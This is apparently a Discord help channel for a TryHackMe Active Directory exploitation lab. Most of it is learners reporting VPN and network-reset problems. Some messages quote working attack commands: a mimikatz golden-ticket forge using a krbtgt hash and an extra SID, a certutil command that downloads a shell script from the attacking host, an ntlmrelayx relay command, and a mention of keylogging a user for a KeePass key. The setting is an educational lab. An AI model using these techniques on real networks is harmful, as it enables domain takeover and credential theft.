#exploiting-ad

1 messages Β· Page 3 of 1

young wind
#

I am using verion 4.0.2. But nevermind, I just collected the json files myself

#

Super cool network so far btw

glacial stream
young wind
#

Let me try that

glacial stream
young wind
glacial stream
young wind
gleaming carbon
#

In Task 6 I can not edit the given GPO. I have RDPed as both the initial user and the t2 admin I compormised, i can use dir \\za.tryhackme.loc\sysvol and get the new shell to open mmc but the edit option is greyed out.

glacial stream
glacial stream
gleaming carbon
#

I was typing the wrong password due to typing mistake. Room completed.

tall hound
#

I always get an error in this part. What is a leap of faith?

steep pollen
#

ok something is not right I would like to work on the room from my own attacking machine and the vpn connection is not working, how can I get support?

#

I'm not doing anything wrong, the openvpn file is not available

glacial stream
steep pollen
#

I'll give you screenshots hold on

#

even after regenerating it, doesnt work

glacial stream
# tall hound I always get an error in this part. What is a leap of faith?

So you don't need to do the print spooler attack. You already have admin access on THMSERVER1 with what you did in the last task. It is however good to still learn about the print spooler attack.

The issue however is that once one use runs the attack wrong, it will kill the entire print spooler service, meaning no one else can attempt the attack. For this reason, we made task optional, so you can continue to the next task if it fails for you. A network reset would bring the print spooler service back online if you really want to try it. But at least you can continue the network should it fail for you

glacial stream
# steep pollen

Yeah known issue by the frontend team. Can you please send me your subnet in the network diagram? I'll report it for the network so support can get it sorted. Might just take a bit of time since they won't be online for a couple of hours so sorry about that

steep pollen
#

how do i get the subnet?

#

i dont know what you mean

glacial stream
steep pollen
glacial stream
# steep pollen this

Jip that one. I've forwarded it to support. Will let you know once it is sorted. Sorry for the delay

steep pollen
#

ty

glacial stream
# steep pollen ty

Fix has been applied. You may have to reset the network, but it should be working now. Please just also regen your VPN

hasty solstice
#

hello, don't know if this is the right room to ask this question, but i want to know what is the correct order to do the newly released AD networks ?

glacial stream
hasty solstice
frail starBOT
#

Gave +1 Rep to @glacial stream

real mesa
#

@glacial stream , this is greatest lab series I've passed over last year, thank you!

frail starBOT
#

Gave +1 Rep to @glacial stream

tall hound
frail starBOT
#

Gave +1 Rep to @glacial stream

glacial stream
# real mesa hey guys, I've started to walk through Exploiting AD lab 2nd time (it was reset...

Hey @real mesa ,

Glad you are enjoying the network series πŸ™‚

So with these networks you can speedrun anything. You can even pop the DC from your first low-privilege access. But then you lose out of the learning opportunity. These networks are not CTFs in the sense that it is who can compromise them first, but more a walkthrough for you to learn new things. So users are more than welcome to speedrun, we won't police it, but they will lose out on the learning opportunity.

In terms of what you are describing, there are two ways to compromise THMSERVER1. You can either use the constrained delegation or you could use the Print spooler for relaying the machine account of THMSERVER2.

For compromising THMSERVER2, the intended path is to first compromise the AD user and then perform the GPO, but once a user in the network performs the GPO exploit, it will open that path up for everyone else. If you want to do it completely from scratch, you will need a network reset.

However, the nice thing is the AD user exploit you have to do to get the flags, since the flag is embedded in the keepass file, for which you can only get the key by keylogging that local user, so that creates a nice little gate to ensure users explore that task.

All in all, for all of these networks you will be able to cheese them. Heck, in the persisting AD one coming out this week we give you the DA credentials! But if a user only does this to get the points, then I think they are missing the point of these networks. So my recommendation is to take your time, work through the content and hopefully learn something new πŸ™‚

real mesa
#

yup totally agree here, its worth to learn all the techniques because in real life scenarios there might be not so much possible vectors πŸ™‚

#

lemme check how to get DC from 1st low-priv user though πŸ˜…πŸ˜†

storm coral
#

Hey, wonder if someone can help me, get errors when importing kirbi tickets for trevor : File: 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': ERROR kuhl_m_kerberos_ptt_file ; kull_m_file_readData (0x00000002)

real mesa
#

hey @storm coral , it means tkt is not in the right folder

#

if u dont want to state absolute path for it - just move tkt next to mimikatz.exe/Rubeus.exe

storm coral
#

Yeah i just realised after i posted, lol, thanks, sorry to bother

real mesa
#

np πŸ˜‰

#

BTW, is there any lab/network which covers AV evasion specifically for AD pentest? I've heard that even opening cmd.exe may trigger alert on Blue Team side if network have good AV in place

lucid pagoda
tall hound
#

why can't i download shell.ps1?

lucid pagoda
# tall hound why can't i download shell.ps1?

You're using the wrong ip address. run ip a on the attackbox and look for the vpn connection. I think it'll say "exploitingad" as the connection name. You want that IP address, as thet's your VPN IP to connect to the AD network.

tall hound
#

thx for help

tall hound
lucid pagoda
lucid pagoda
tall hound
#

I guess I couldn't find the right database. I will find it.

#

yeah i did xD

storm coral
#

Hey guys, klist shows cached tickets for trevor but can't get PSSession, anyone got any ideas : New-PSSession : [thmserver1.za.tryhackme.loc] Connecting to remote server thmserver1.za.tryhackme.loc failed with the
following error message : A specified logon session does not exist. It may already have been terminated. For more
information, see the about_Remote_Troubleshooting Help topic

lucid pagoda
#

did you use that syntax for the command? or the syntax in the room? New-PSSession -ComputerName thmserver1.za.tryhackme.loc

storm coral
#

@lucid pagoda I used New-PSSession -ComputerName thmserver1.za.tryhackme.loc and did get a session, but then lab dropped had to start again went through lab again to same point but got that syntax. Do I have to wait for this all to be reset?

lucid pagoda
storm coral
#

Oh okay, I've marked for a reset and hopefully get done overnight.

real mesa
frail starBOT
#

Gave +1 Rep to @lucid pagoda

gray shale
#

I'm on task 5 of Exploiting AD. For some reason, I can't get my shell.ps1 file over to thmserver1 using the provided command: certutil.exe -urlcache -split -f http://[my attackbox ip]/shell.ps1

gray shale
cosmic oriole
#

Can anyone help me setting up connection

#

im not able to connect to network

#

VPN is getting reset

wintry oriole
#

Show a screenshot please.

cosmic oriole
#

It keeps on getting restarted

wintry oriole
#

Have you tried to regen your config?

cosmic oriole
#

yes

#

i have downloaded it

wintry oriole
#

And that's the new one?

cosmic oriole
#

yes

#

i redid it

#

still the issue is same

wintry oriole
#

Do you have two open?

#

Or an attackbox?

cosmic oriole
wintry oriole
cosmic oriole
#

their is no tun*

wintry oriole
#

Any exploitad ?

cosmic oriole
hollow oak
#

Isn't that the cipher issue?
As far as I can see from the screenshot.

wintry oriole
#

D'oh.

cosmic oriole
#

i tired to connect with HTB it got connect

#

its giving issue with THM

wintry oriole
#

This isn't htb though.

cosmic oriole
#

yeah is know

#

i trying this in freshly istalled kali

wintry oriole
#

You need to go to #site-support and do the steps in the first pinned post.

cosmic oriole
frail starBOT
#

Gave +1 Rep to @wintry oriole

wintry oriole
#

Happy hacking.

#

+rep @hollow oak

frail starBOT
#

Gave +1 Rep to @hollow oak

steep pollen
#

I'm still stuck with the room Exploiting AD... I can't get the .ovpn file... I already reported this last week, first time I have an issue like this... Hope it gets resolved soon

steep pollen
# cosmic oriole

I'm having a similar issue. The ovpn file is not connecting and can't regenerate it or download again

glacial stream
gusty flint
#

I am working through the first 3 tasks right now on YouTube. Feel free to join along and we can learn this room together πŸ™‚
https://www.youtube.com/watch?v=KfbxgD9XK30&ab_channel=TylerRamsbey

This is the first video of working through the "Exploiting AD" network on TryHackMe.

We use bloodhound to enumerate the network further and then exploit permission delegation to take over the account of a Tier 2 Administrator. After that, we then pivot to a Tier 1 Administrator by abusing Kerberos and getting a Remote Powershell Session on ano...

β–Ά Play video
steep pollen
#

How do I leave the room?

wintry oriole
#

There is a cog at the top right.

wintry oriole
#

Click the cog.

steep pollen
#

Did it

#

Got into the same room

wintry oriole
#

Is yours not working? (subnet) ?

steep pollen
#

No

#

Not even the attack box is getting the subnet

wintry oriole
#

reset?

hollow tinsel
#

wait the attackbox works with networks now????

wintry oriole
#

It has done since the start of the new rooms.

hollow tinsel
#

oh that is nice

gusty flint
#

Hey all -- I am live on Twitch right now to continue working through this room. The creator of the room - @glacial stream - often joins and offers some great tips/teaching as well. I'll be streaming for the next 2 hours or so. Feel free to stop by and we can work through the room together πŸ™‚
https://twitch.tv/hack_smarter

Twitch

TryHackMe LIVE w/ Tyler Ramsbey

β–Ά Play video
glacial stream
lucid pagoda
glacial stream
past bramble
#

.

karmic nova
#

Would it be possible to get the 10.200.83.x Exploiting AD network reset? The "Network State" has been "Resetting" since I joined the room almost 24 hours ago.

spring bridge
#

I've been enjoying this room - I stopped halfway through and realised I presumably have to start the path of escalation again from scratch? No problem to re-enforce my learning but I'd like to be aware this time I can't stop haha.

lucid pagoda
karmic nova
#

Yes, more than once. On the attackbox no "exploitad" interface is found, either. Manually pinging the network doesn't work either.

lucid pagoda
karmic nova
#

Thanks!

lucid pagoda
karmic nova
#

It looks like this was the same network that someone else was having trouble with yesterday...
#exploiting-ad message

#

Yes, "Exploitingad" shows on the network access page.

#

Never tried connecting with my own VM, but I could if you would like me to?

lucid pagoda
karmic nova
#

Yup, will do.

#

Ok, when I try to download the config file for network access the page errors out. I regenerated twice and the same thing happens.

karmic nova
#

Yes, 404.

lucid pagoda
karmic nova
#

Great, thanks!

upper whale
#

flag3.txt is not existing on THMSERVER1

#

za\t2_ross.bird@THMWRK1 C:\Users\Administrator.ZA\Desktop>dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9

Directory of C:\Users\Administrator.ZA\Desktop

07/08/2022 02:09 PM <DIR> .
07/08/2022 02:09 PM <DIR> ..

#

and I cant get the remote shell to be working with:

python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"10.200.83.201" -debug

glacial stream
glacial stream
upper whale
upper whale
#

Great room! totally got the servers wrong there for a while which f up things πŸ˜„ Thanks @glacial stream for pointing out the direction πŸ˜„

frail starBOT
#

Gave +1 Rep to @glacial stream

spring bridge
#

Seems to happen regardless of which user I try. * File: 'TGS_t1_duncan.moran@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': ERROR kuhl_m_kerberos_ptt_file ; kull_m_file_readData (0
x00000002)

thorny nymph
#

Hi @glacial stream it seems like this network is down : 10.200.19.101

wintry oriole
spring bridge
spring bridge
thorny nymph
#

After the network reset it's working fine now

noble zinc
#

Network 10.200.83.101 is stuck at "Resetting" for few hours.

tidal echo
#

@grave loom

#

Ignore ping β€” the issue was resolved. My apologies

karmic nova
#

Any update on the 10.200.83.x network? It has been more than 48 hours that the "Network State" has been "Resetting".

silent widget
#

Another method for task 3 would be to use the credentials after dumping lsass to create a service ticket with impacket and get access that way

quartz tundra
#

My apologies for the delayed response, I took a break for a week πŸ™‚

surreal python
#

only check one thing,

#

you're using the password so uncheck the key

quartz tundra
#

Thanks

#

first time using keepass szycooctus

silent widget
#

I tried using "New-PSSession" for task 8 when trying to get the flag but I kept getting "Permission Denied". Is it because remote sessions are not allowed on the root domain?

#

Also, maybe Im misunderstanding this but we want those two SIDs because 1) We are pretending to be a valid DC to the root domain and 2) We use the EA group SID because we want to become a "member" of this group in a way?

spring bridge
#

What am I doing wrong in Task 8? ```mimikatz # kerberos::golden /user:Administrator /Domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
User : Administrator
Domain : za.tryhackme.loc (ZA)
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service : krbtgt
Lifetime : 7/9/2022 8:32:23 PM ; 7/6/2032 8:32:23 PM ; 7/6/2032 8:32:23 PM
-> Ticket : ** Pass The Ticket **

  • PAC generated
  • PAC signed
  • EncTicketPart generated
  • EncTicketPart encrypted
  • KrbCred generated

Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session```

#

It's giving my Unauthorised Access when trying to view the RootDC

glacial stream
glacial stream
# quartz tundra

If root owns it, you must run KeepassX as root as well, else it will fail to open the DB

glacial stream
# silent widget Also, maybe Im misunderstanding this but we want those two SIDs because 1) We ar...

The sid you specify in /sid: should be the SID of the actual domain controller machine account in the child domain. The extra sid is the SID of the EA group in the parent domain. So with these two combined, your EA golden ticket should work.

I'm not sure if the golden ticket would automatically work for a PS-Session, you may have to generate a TGS for the HTTP and WSMAN services. A simpler approach to complete the task would be to use the dir command to access the file system of the RootDC

glacial stream
silent widget
glacial stream
silent widget
spring bridge
glacial stream
silent widget
#

DNS

glacial stream
# silent widget DNS

Mmm, yeah then it was using kerberos. So that was not the issue. Something to play around with and see how you can get it to work πŸ™‚

silent widget
#

It was like PS-Session -ComputerName thmdc.etc

glacial stream
#

It might not make the biggest difference, but I've had strange cases where it works best for me to do the PTT on THMDC itself. Passing tickets can sometime do weird things, might be good just to run klist to see what current active tickets you have since some might interfere with your golden ticket

glacial stream
spring bridge
#

There's 5 tickets, presumably because I kept trying it. All variations of this #3> Client: Administrator @ ZA.TRYHACKME.LOC Server: cifs/thmrootdc.tryhackme.loc @ TRYHACKME.LOC KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 7/9/2022 20:59:14 (local) End Time: 7/10/2022 5:59:32 (local) Renew Time: 7/16/2022 19:59:32 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: THMROOTDC.tryhackme.loc

glacial stream
spring bridge
#

Hm, I did again and had the same thing (generated 5 tickets) so did Powershell as Administrator in RDP (just trying random solutions) and it worked.

spring bridge
#

I'll probably run them all a couple of times just to make sure it sinks in. Lucky we have access to this resource!

glacial stream
glacial stream
# spring bridge These rooms are pretty amazing btw, very well explained, you must have an except...

Glad you like them and can use them as a reference point! Glad you like the explanations as well.

I'm by no means an AD expert. These rooms feature techniques I've learned over the last couple of years on assessments but honestly this is the tip of the iceberg. It is such a massive attack surface that you can spend a good amount of years and still not even scratch the surface.

Hopefully these rooms create a good starting point to learn AD and then inspire others to explore on their own and hopefully share their findings with the rest of us so we can all learn. SpectorOps with their Active Directory Certificate Service research is such a prime example of this. Hopefully we get more of these in the years to come! πŸ™‚

spring bridge
glacial stream
frail starBOT
#

Gave +1 Rep to @spring bridge

lucid pagoda
#

Can you check again? I brought this up that day, so I'm assuming it's fixed now, otherwise i'll chase it?

karmic nova
frail starBOT
#

Gave +1 Rep to @lucid pagoda

noble zinc
#

Network 10.200.83.101 is still stuck at "Resetting" for few days, can someone please check?

glacial stream
glacial stream
quiet coral
#

Isn't impacket psexec now likely to be caught by AV ? I think I've heard something like that on a ippsec video

#

If someone could enlight us

glacial stream
#

Should not be enabled no. All the other powershell scripts that should be blocked like powerview does go past. Not sure why that specific powershell script was being finicky, but I had it where if I did powershell -c "script.ps1 from a cmd.exe window it would fail, but when I actually go into powershell, it would work.

quiet coral
#

huh wut, I have ssh into one of the Tier 2 Admins on Task 2 but can't access Administrator folder, access is denied ? Am I stupid or ?

quiet coral
#

oh wait

#

I'm stupid maybe hold on

#

ok I was stupid indeed, I understand the mistake I did

glacial stream
#

If it became unresponsive it is probably the network that just went to sleep. There is a frontend bug where if the network timer runs out and you click extend instead of refresh the page to click start, it bricks the network. You can solve this by using inspect element to reenable the Start button and press it and your network should come back online. The team is aware of this and working on a fix

frail starBOT
#

Gave +1 Rep to @glacial stream

glacial stream
#

Thanks for the update! I'll keep this in mind if others ask. Glad you are liking the series πŸ™‚

frail starBOT
#

Gave +1 Rep to @violet condor

wheat merlin
#

Been like this for a good 40 minutes, am i missing something?

glacial stream
wheat merlin
#

83

glacial stream
# wheat merlin 83

Can you please DM me your username? There seems to be a network conflict between this network and a wreath network that needs to get sorted but the team will need your THM username to investigate

sudden hawk
#

hello, anyone else has DNS connection timeout issue through openvpn ?

wintry oriole
#

Try nsloolup in root.

quiet coral
#

nsloolup psyDuck

sudden hawk
#

Changed nothing and it's working now 🀨

wintry oriole
#

Sometimes it won't display straight away.

#

I found that when I was doing it, it wouldn't do nslookup unless I was in root for about 20 mins

sudden hawk
#

Hello everyone, anyone else has the network stucks in resetting status ?

sharp frigate
#

I can not access the network too, it keeps resetting...

glacial stream
# sudden hawk Hello everyone, anyone else has the network stucks in resetting status ?

I've reported this network. I think we are going to kill the subnet with fire next since this specific one keeps giving us issues. Can you click on the gear icon next to Start AttackBox, click leave room, then wait an hour and then rejoin the room, hopefully it drops you into a different subnet while we fix this subnet. Sorry for the inconvience

glacial stream
glacial stream
velvet hawk
#

seems broken again

glacial stream
# velvet hawk seems broken again

Network is reporting stable from the VPN server:

ubuntu@ip-10-200-83-250:~$ nmap -p22,3389 10.200.83.100 10.200.83.101 10.200.83.201 10.200.83.202 10.200.83.248 -Pn

Starting Nmap 7.60 ( https://nmap.org ) at 2022-07-14 16:47 UTC
Nmap scan report for ip-10-200-83-100.eu-west-1.compute.internal (10.200.83.100)
Host is up (0.00084s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
3389/tcp open  ms-wbt-server

Nmap scan report for ip-10-200-83-101.eu-west-1.compute.internal (10.200.83.101)
Host is up (0.00044s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
3389/tcp open  ms-wbt-server

Nmap scan report for ip-10-200-83-201.eu-west-1.compute.internal (10.200.83.201)
Host is up (0.00052s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
3389/tcp open  ms-wbt-server

Nmap scan report for ip-10-200-83-202.eu-west-1.compute.internal (10.200.83.202)
Host is up (0.00074s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
3389/tcp open  ms-wbt-server

Nmap scan report for ip-10-200-83-248.eu-west-1.compute.internal (10.200.83.248)
Host is up (0.00073s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
3389/tcp open  ms-wbt-server

Nmap done: 5 IP addresses (5 hosts up) scanned in 2.24 seconds
velvet hawk
#

thanks, i'll recheck my box

velvet hawk
#

i'm stuck on the .60 subnet

tender thorn
#

@velvet hawk Did you try leaving the network and rejoining?

velvet hawk
#

how long do we have to leave the room for a new subnet?

surreal python
frail starBOT
#

Gave +1 Rep to @surreal python

velvet hawk
#

what a great room, thanks @glacial stream !

frail starBOT
#

Gave +1 Rep to @glacial stream

quiet coral
#

@glacial stream typo SpecterOps

gusty flint
#

I have now covered completely via video Enumerating AD, Breaching AD, Lateral Movement, and Exploiting AD. I'll be starting persisting AD on stream tonight πŸ™‚

quiet coral
#

Thanks for all these AD rooms they are awesome @glacial stream

frail starBOT
#

Gave +1 Rep to @glacial stream

glacial stream
frail starBOT
#

Gave +1 Rep to @quiet coral

glacial stream
glacial stream
spring bridge
#

Hey @glacial stream I'm thinking of setting up the GOAD Lab for on-demand AD breaking haha. Do you think an old i5 laptop with 8gb of ram would cope? It's 5VMs requiring 1gb RAM per. I've no idea how intensively these things run.

glacial stream
spring bridge
#

It'll just be running some super low resource flavour of Linux and the 5VMs, otherwise it'll be doing nothing.

#

I used to like crashbang++ but it's something else now. Will give it a go and see how they work.

glacial stream
#

Good luck there!

rotund heath
#

responder

surreal python
#

yes, that is indeed a thing that exists, lemonthink

agile crag
#

can i get a reeeeeset

#

i just got myself fail2banned

sly path
#

Is there anyone who can help me to Exploit and Escalate this Windows machine, please? I am still a newbie

glacial stream